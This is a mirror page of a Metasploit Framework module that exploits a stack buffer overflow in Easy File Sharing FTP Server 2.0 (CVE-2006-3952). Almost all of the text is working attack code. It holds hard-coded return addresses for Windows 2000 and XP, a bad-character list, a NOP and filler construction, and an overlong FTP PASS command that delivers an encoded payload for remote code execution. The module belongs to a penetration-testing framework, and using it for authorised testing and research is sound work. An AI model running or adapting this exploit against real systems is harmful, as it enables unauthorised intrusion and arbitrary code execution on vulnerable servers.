CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/easyfilesharing_pass.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Ftp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Easy File Sharing FTP Server 2.0 PASS Overflow',
14
'Description' => %q{
15
This module exploits a stack buffer overflow in the Easy File Sharing 2.0
16
service. By sending an overly long password, an attacker can execute
17
arbitrary code.
18
},
19
'Author' => 'MC',
20
'License' => MSF_LICENSE,
21
'References' =>
22
[
23
[ 'CVE', '2006-3952' ],
24
[ 'OSVDB', '27646' ],
25
[ 'BID', '19243' ],
26
],
27
'Privileged' => true,
28
'DefaultOptions' =>
29
{
30
'EXITFUNC' => 'thread',
31
},
32
'Payload' =>
33
{
34
'Space' => 600,
35
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
36
'StackAdjustment' => -3500,
37
},
38
'Platform' => 'win',
39
'Targets' =>
40
[
41
[ 'Windows 2000 Pro English ALL', { 'Ret' => 0x75022ac4 } ],
42
[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
43
],
44
'DisclosureDate' => '2006-07-31',
45
'DefaultTarget' => 0))
46
end
47
48
def check
49
connect
50
disconnect
51
52
if (banner =~ /Easy File Sharing FTP Server/)
53
return Exploit::CheckCode::Detected
54
end
55
return Exploit::CheckCode::Safe
56
end
57
58
def exploit
59
connect
60
61
filler = rand_text_english(2559) + "\xeb\x12"
62
filler << make_nops(2) + [target.ret].pack('V')
63
64
sploit = "\x2c" + filler + payload.encoded
65
66
print_status("Trying target #{target.name}...")
67
68
# needs anonymous to be set.
69
send_cmd(['USER', "anonymous"], true)
70
send_cmd(['PASS', sploit], false)
71
72
handler
73
disconnect
74
end
75
end
76
77